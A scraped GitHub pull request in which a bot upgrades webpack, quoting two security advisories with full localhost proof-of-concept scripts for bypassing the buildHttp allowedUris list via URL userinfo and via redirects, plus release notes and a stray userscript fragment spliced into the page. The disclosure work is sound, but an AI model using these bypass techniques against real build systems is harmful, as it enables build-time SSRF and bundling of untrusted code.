Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms");
}
} catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - #208
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Open
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]#208
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-webpack-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
webpack^5.101.3 → ^5.104.1ageconfidence
webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@​) leading to build-time SSRF behavior
CVE-2025-68458 / GHSA-8fgc-7cc6-rx7x
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.
Reproduced on:
  • webpack version: 5.104.0
  • Node version: v18.19.1
Details
Root cause (high level):allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.
Example crafted URL:
  • http://127.0.0.1:9000@127.0.0.1:9100/secret.js
If the allow-list is ["http://127.0.0.1:9000"], then:
  • Raw string check:
    crafted.startsWith("http://127.0.0.1:9000") → true
  • URL parsing (WHAT new URL() will contact):
    origin → http://127.0.0.1:9100 (host/port after @)
As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.
Evidence from reproduction:
  • Server logs showed the internal-only endpoint being fetched:

    • [internal] 200 /secret.js served (...) (observed multiple times)
  • Attacker-side build output showed:

    • the internal secret marker was present in the bundle
    • the internal secret marker was present in the buildHttp cache
image-2
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-userinfo-poc &&cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");constALLOWED_PORT=9000;// allowlisted-looking hostconstINTERNAL_PORT=9100;// actual target if bypass succeedsconstsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`// internal-only\n`+`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionlisten(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// "Allowed" host (should NOT be contacted if bypass works as intended)awaitlisten(ALLOWED_PORT,(req,res)=>{console.log(`[allowed-host] ${req.method}${req.url} (should NOT be hit in userinfo bypass)`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);});// Internal-only service (SSRF-like target)awaitlisten(INTERNAL_PORT,(req,res)=>{if(req.url==="/secret.js"){console.log(`[internal] 200 /secret.js served (secret=${secret})`);res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);return;}console.log(`[internal] 404 ${req.method}${req.url}`);res.statusCode=404;res.end("not found");});console.log("\nServers up:");console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);})();
2) Create server.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");functionfmtBool(b){returnb ? "✅" : "❌";}asyncfunctionwalk(dir){constout=[];letitems;try{items=awaitfs.readdir(dir,{withFileTypes: true});}catch{returnout;}for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);consts1=buf.toString("utf8");if(s1.includes(needle))returntrue;consts2=buf.toString("latin1");returns2.includes(needle);}catch{returnfalse;}}(async()=>{constwebpackVersion=require("webpack/package.json").version;constALLOWED_PORT=9000;constINTERNAL_PORT=9100;// NOTE: allowlist is intentionally specified without a trailing slash// to demonstrate the risk of raw string prefix checks.constallowedUri=`http://127.0.0.1:${ALLOWED_PORT}`;// Crafted URL using userinfo so that:// - The string begins with allowedUri// - The actual authority (host:port) after '@' is INTERNAL_PORTconstcrafted=`http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`;constparsed=newURL(crafted);consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-httpuri-userinfo-poc-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(crafted)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
